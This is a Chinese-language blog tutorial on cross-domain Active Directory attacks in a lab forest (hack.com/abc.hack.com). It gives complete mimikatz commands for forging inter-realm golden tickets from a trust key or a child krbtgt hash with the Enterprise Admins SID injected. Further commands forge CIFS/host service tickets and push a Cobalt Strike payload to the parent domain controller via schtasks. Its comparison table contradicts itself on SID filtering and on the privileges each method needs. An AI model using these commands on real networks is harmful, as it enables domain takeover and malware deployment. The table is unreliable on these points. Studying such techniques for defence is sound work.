Active Directory跨域攻击技术

跨域攻击

大型企业中会根据职能在逻辑上划分很多子域,以主域和子域进行区分方便管理,不同区域由防火墙分割。

跨域攻击方法

  1. 常规渗透方法(利用web漏洞)
  2. 哈希传递票据攻击
  3. 利用域信任关系

获取域信息

在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,林中所有域控制器上具Administrators权限的成员都是该组的成员。

查看当前域中计算机的权限

whoami /all
在这里插入图片描述

查看域信任关系

nltest /domain_trusts
在这里插入图片描述

使用lg工具获取域的相关信息

获取当前域中的用户组

LG.exe 域名\.
在这里插入图片描述

获取远程机器的本地用户组

LG.exe \\计算机名 -lu
在这里插入图片描述

获取远程系统中的用户SID

LG.exe \\计算机名 -lu -sidsout
在这里插入图片描述

通过域信任

森林是一个 AD 网络中一个或多个域树的集合。域信任是网络中的用户访问域内其他资源的机制。大体上,信任规定了森林内各域之间的通信方式。在某些环境中,信任可以扩展到外部域,甚至在某些情况下扩展到其他森林。

域之间可以配置两种主要的信任类型:

  • 方向性 - 信任的方向从信任域流向受信任域
  • 传递性 - 信任关系不仅限于两个域,还包括其他受信任域

利用域信任密钥获取目标域控

攻击原理

  1. 域信任机制滥用:子域与父域之间存在域间信任关系,信任关系由信任账户维护,其NTLM哈希(信任密钥)用于跨域认证。
    • 攻击者通过获取信任密钥,伪造跨域黄金票据,冒充受信任域(子域)的用户,并注入父域高权限组的SID(如Enterprise Admins组,RID=519),绕过Kerberos身份验证。
  2. 服务票据伪造:基于伪造的黄金票据(TGT),进一步生成特定服务(如CIFS、Host)的服务票据(TGS),直接访问父域资源(文件共享、远程任务执行等),最终控制父域域控。

攻击链

  1. 利用信任关系:通过子域与父域的信任密钥(信任账户哈希)制作跨域黄金票据TGT。
  2. 权限提升:通过注入父域Enterprise Admins组的SID,获得父域最高权限。
  3. 服务票据生成:基于TGT请求特定服务(如CIFS、host)的TGS,突破边界访问父域资源。
  4. 父域沦陷:通过服务票据构建计划任务,最终上线cs控制父域域控制器。

利用条件

  • 信任关系存在
    • 子域与父域需建立域间信任关系(父子域、树根信任或外部信任)。
    • 信任方向允许子域访问父域(通常为双向或父域信任子域)。
  • 关键信息可获取
    • 信任密钥:子域与父域间信任账户的NTLM哈希。
    • SID信息:子域SID、父域SID及父域Enterprise Admins组的SID(父域SID-519)。
  • 目标服务暴露:父域控需开放CIFS(文件共享)Host(远程任务管理) 等服务的访问权限。
  • 权限要求:攻击起点仅需子域普通用户权限(无需域控权限),但需能执行Mimikatz提取信任密钥。

所需关键信息

信息类型 获取方式
子域域名 通过net config workstation或环境变量
子域SID 使用whoami /userGet-ADDomain
父域SID-519 通过lsadump::trust或父域查询(如Get-ADGroup "Enterprise Admins"
信任密钥 在子域执行lsadump::lsa /patch /user:HACK$(需本地管理员权限)
父域控主机名 通过DNS查询或域内解析(如nslookup dc.hack.com

示例

网络环境
IP地址 所属域 域中地位 机器名 当前登录用户
192.168.41.10 hack.com 根域的域控 DC hack\administrator
192.168.41.50 abc.hack.com 子域的域控 DC2 abc\administrator
192.168.41.55 abc.hack.com 子域中的机器 PC-2008-2 abc\xyz

当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008-2机器

在这里插入图片描述

实验步骤

当前DC2无法访问DC.HACK.COM

在这里插入图片描述

信息获取

使用mimikatz获取 当前域的 SID 父域的 SID 子域域管的NTLM 信任密钥

mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$"
"lsadump::trust /patch" exit
在这里插入图片描述
跨域黄金票据制作&利用

在普通的域内用户中创建创建高权限票据,这里不强求域管。

# 命令语法
mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域SID-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi" exit

# 参考命令
mimikatz.exe "kerberos::golden /domain:abc.hack.com /sid:S-1-5-21-3649832354-3744496941-3070025514  /sids:S-1-5-21-3435113289-1855702322-4007071888-519 /rc4:1f3fe420127eafc9e09e2b7a5cdba2dd /user:administrator /service:krbtgt /target:hack.com /ticket:administrator.kirbi" exit

在这里插入图片描述在这里插入图片描述

上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据

在这里插入图片描述

在这里插入图片描述

跨域服务票据制作&利用

创建CIFS服务的票据:

asktgs.exe administrator.kirbi CIFS/DC.hack.com

在这里插入图片描述
在这里插入图片描述

将票据注入内存:

kirbikator.exe lsa CIFS.DC.hack.com.kirbi

在这里插入图片描述

访问域控:

dir \\dc.hack.com\c$

在这里插入图片描述

目标DC上线cs

投送cs恶意文件到目标域控:

copy artifact.exe \\dc.hack.com\c$

在这里插入图片描述

创建计划任务上线cs:

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在这里插入图片描述

被拒绝访问,伪造host服务票据,进行创建计划任务:

asktgs.exe administrator.kirbi host/DC.hack.com

在这里插入图片描述

将票据注入内存:

kirbikator.exe lsa host.DC.hack.com.kirbi

在这里插入图片描述

再次创建计划任务:

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在这里插入图片描述

执行计划任务:

schtasks /run /s dc.hack.com /i /tn "test"

在这里插入图片描述

跨域上线父域DC成功:

在这里插入图片描述

利用krbtgt哈希值获取目标域控

攻击原理

  1. 黄金票据伪造:利用子域的krbtgt账户NTLM哈希生成伪造的TGT,绕过Kerberos身份验证,获得任意服务的访问权限。

    • 关键参数:注入父域的Enterprise Admins组SID(RID=519),使票据在父域中拥有最高权限。
    • 权限继承:通过域间信任关系(父子域信任),子域用户可继承父域高权限组的权限。
  2. 横向移动:通过伪造的黄金票据访问父域资源,利用文件共享(CIFS)和服务创建(计划任务)将恶意程序部署到父域域控,最终获取控制权。

攻击链

  1. 信息收集:

    • 在子域DC获取krbtgt哈希(lsadump::lsa)。
    • 提取域信任关系及父域SID(lsadump::trust)。
  2. 黄金票据构造:

    • 注入父域SID-519:使票据在父域中具备Enterprise Admins权限。
    • /ptt参数:直接将票据注入内存,隐蔽性高。
  3. 权限验证与横向移动:

    • 访问父域共享(dir \\dc.hack.com\C$),确认票据生效。
    • 复制CS木马到父域域控(copy artifact.exe \\dc.hack.com\C$)。
    • 创建计划任务远程执行(schtasks /create /s dc.hack.com),触发恶意载荷上线CS。
  4. 父域沦陷:恶意程序在父域域控上线,攻击者获得父域控制权。

利用条件

  1. 域信任关系:

    • 子域与父域需存在父子域信任关系,允许权限继承。
    • 信任方向需支持子域访问父域(通常为双向或父域信任子域)。
  2. 关键信息获取:

    • 子域krbtgt哈希:通过子域域控的本地权限提取(需管理员权限)。
    • 父域SID:需获取父域的SID及Enterprise Admins组SID(RID=519)。
  3. 攻击入口点:已控制子域域控或具备子域管理员权限。

所需信息

信息类型 获取方式
子域域名 通过net config workstation或环境变量获取
子域SID 使用whoami /userGet-ADDomain(PowerShell)
父域SID-519 通过lsadump::trust或父域查询(如Get-ADGroup "Enterprise Admins")得到父域SID再拼接-519
子域krbtgt哈希 在子域控执行lsadump::lsa /patch /user:krbtgt(需管理员权限)
父域DC主机名 通过DNS查询或域内机器名解析(如nslookup dc.hack.com

示例

网络拓扑
IP地址 所属域 域中地位 机器名 当前登录用户
192.168.41.10 hack.com 根域的域控 DC hack\administrator
192.168.41.50 abc.hack.com 子域的域控 DC2 abc\administrator
192.168.41.55 abc.hack.com 子域中的机器 PC-2016-Member abc\xyz
实验步骤

当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008-2机器

在这里插入图片描述

信息获取
# DC2获取Krbtgt散列
mimikatz lsadump::lsa /patch /user:krbtgt
# 获取SID
lsadump::trust /patch

在这里插入图片描述

在这里插入图片描述

票据制作&注入

构造并注入黄金票据

# 命令语法
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt:krbtgt散列 /ptt

# 示例命令
Kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-3649832354-3744496941-3070025514 /sids:S-1-5-21-3435113289-1855702322-4007071888-519 /krbtgt:941d5cf46a8f4e50bbcec74867aa1ea3 /ptt

在这里插入图片描述

访问目标域

在这里插入图片描述

目标上线CS

上传CS木马:

在这里插入图片描述

copy artifact.exe \\dc.hack.com\C$

在这里插入图片描述

创建计划任务:

schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在这里插入图片描述

启动计划任务:

schtasks /run /s dc.hack.com /i /tn "test"

在这里插入图片描述

成功跨域上线域控:

在这里插入图片描述

两种方法对比

重点内容对比表

对比维度 利用子域krbtgt哈希 利用域信任密钥
适用场景 已控制子域域控:可直接提取krbtgt哈希,操作路径更短。
需要持久化权限krbtgt哈希变更周期长(通常180天),黄金票据可长期有效。
目标域启用SID过滤:若父域启用SID过滤,方法2可能失效,而方法1通过子域权限直接继承父域组权限。
未控制子域域控:仅需普通域用户权限即可提取信任密钥(如通过lsadump::trust)。
需隐蔽渗透:避免在域控上操作,降低触发安全告警的风险。
跨林攻击:适用于林间信任场景(如外部信任),无需依赖父子域关系。
关键凭证 子域的krbtgt账户NTLM哈希 子域与父域之间的信任账户(如HACK$)的NTLM哈希
核心依赖 子域与父域的信任关系(需允许SID注入) 子域与父域的域间信任密钥(信任账户密码哈希)
是否需要域控 是(需子域域控权限提取krbtgt哈希) 否(普通域用户即可,只要能获取信任密钥)
攻击入口 已控制子域域控(DC2) 已控制子域普通机器(如PC-2008-2),无需域控权限
隐蔽性 较低(需在域控上执行敏感操作) 较高(可在普通机器操作,仅依赖信任密钥)
适用场景 子域与父域存在信任关系,且攻击者已控制子域域控 子域与父域存在信任关系,但攻击者仅有普通域用户权限(或无法接触域控)
绕过SID过滤 依赖信任关系是否启用SID过滤(若启用可能失败) 直接利用信任密钥,不受SID过滤影响
工具链 Mimikatz(生成票据)、计划任务横向移动 Mimikatz + asktgs.exe(生成服务票据) + kirbikator.exe(注入票据)
典型操作 直接生成TGT并注入内存,访问父域资源 需分两步:生成TGT → 生成服务票据(CIFS/Host) → 注入服务票据

本质区别

  • 方法1的核心是子域自身权限的滥用(利用krbtgt哈希),需控制域控。
  • 方法2的核心是域间信任关系的滥用(利用信任密钥),仅需普通权限。
posted @ 2025-12-03 09:45  shinianyunyan  阅读(23)  评论(0)    收藏  举报